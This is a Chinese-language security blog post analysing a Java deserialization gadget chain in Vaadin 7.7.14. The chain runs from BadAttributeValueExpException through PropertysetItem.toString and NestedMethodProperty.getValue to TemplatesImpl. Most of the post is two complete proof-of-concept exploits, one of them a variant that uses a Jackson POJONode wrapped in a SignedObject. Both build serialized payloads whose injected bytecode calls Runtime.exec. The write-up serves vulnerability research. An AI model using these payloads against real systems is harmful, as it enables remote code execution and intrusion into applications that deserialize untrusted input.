Vaadin反序列化链分析
Vaadin反序列化漏洞
在安全论坛逛的时候无意中看到的,刚好手头上还没有工作,所以就简单的看了一看,整条链子的难度非常低,所以就顺带的记录一下吧。
依赖版本
漏洞的依赖版本如下,仅限于7.7.14
,因此受用性也并不是很广泛:
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-shared</artifactId>
<version>7.7.14</version>
</dependency>
链子分析
师傅们找漏洞触发点的时候,找到了NestedMethodProperty
类中的getValue
方法,这个方法存在着method.invoke
达到RCE
的效果,这个方法首先获取了类的instance
变量以及getMethods
迭代器,随后开始遍历迭代器,从迭代器中取得Method
方法,触发instance
对象中的Method
方法。
这里的getMethods
是一个方法列表,通过它的构造函数我们可以直接为instance
赋值,也就是说我们的对象类是可控制的,那么如何能够控制getMethods
方法列表就是接下来的问题,下文还存在一个initialize
初始化方法。
以下是initialize
方法,这个方法接受instance
和propertyName(方法名)
,进入后将方法名以为.
切割成数组,随后遍历数组。将方法名和类名分别赋值给了lastSimplePropertyName
和lastClass
,随后通过initGetterMethod
方法获取是否有对应的get
方法(这里方法的返回值可能得需要是Property
这样子的数据类型),没有则报错,如果有则将字符串添加到getMethods
列表中,遍历完成后,从getMethods
方法列表获取到对应的get
方法后,最终将对应的get
方法数组赋值到了this.getMethods
方法中。也就是这么方法的作用就是通过传入一个对象和字符串,获取到字符串对应的get
方法名,这与rome
的链子是有所类似的。
既然类和方法名都可控了,那么剩下的就是把链子引到readObject
的出口,在PropertysetItem
类的toString
方法中,存在着能够触发getValue
的代码,这个方法通过propertyId
调用getItemProperty
获取一个Property
后调用getValue
方法,而getItemProperty
方法是从this.map
中获取,这里只需要控制this-map
键值对即可,从下方的addItemProperty
可以传入id
和Property
对象,它会添加到map
中,至此传入Property
为上方的NestedMethodProperty
即可。
因此整条链子简单如下:
HashMap#readObject|BadAttributeValueExpException|HashTable#readObject->PropertysetItem#toString()->NestedMethodProperty#getValue()->TeampltesImpl#getOutputProperties->RCE
payload如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.misc.BASE64Encoder;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Vaadin {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "aiwin");
setFieldValue(templates, "_tfactory", null);
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<?> nestedMethodProperty=new NestedMethodProperty<>(templates,"outputProperties");
pItem.addItemProperty("test",nestedMethodProperty);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
String result=serialize(badAttributeValueExpException);
unserialize(result);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String base) throws IOException, ClassNotFoundException {
byte[] result=Base64.getDecoder().decode(base);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException, CannotCompileException, IOException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f=object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object,arg);
}
}
同样,还有很多因为get
从而达到命令执行的方法也可以进行使用的,比如ROME
反序列化链子中的getObject
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class Vaadin {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",pojoNode);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<?> nestedMethodProperty=new NestedMethodProperty<>(signedObject,"Object");
pItem.addItemProperty("test",nestedMethodProperty);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
String result=serialize(badAttributeValueExpException);
unserialize(result);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String base) throws IOException, ClassNotFoundException {
byte[] result=Base64.getDecoder().decode(base);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException, CannotCompileException, IOException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f=object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object,arg);
}
}
总结
Vaadin
链子的原理就是在类构造函数初始化的时候能够获取到可控对象的get
方法,从而导致了在触发它的getValue
之中能够通过method.invoke
达到命令执行的效果,这与ROME
链中遍历对象的get
方法是几乎一致的。
文章标题:Vaadin反序列化链分析
文章链接:https://aiwin.fun/index.php/archives/4398/
最后编辑:2024 年 4 月 26 日 17:49 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)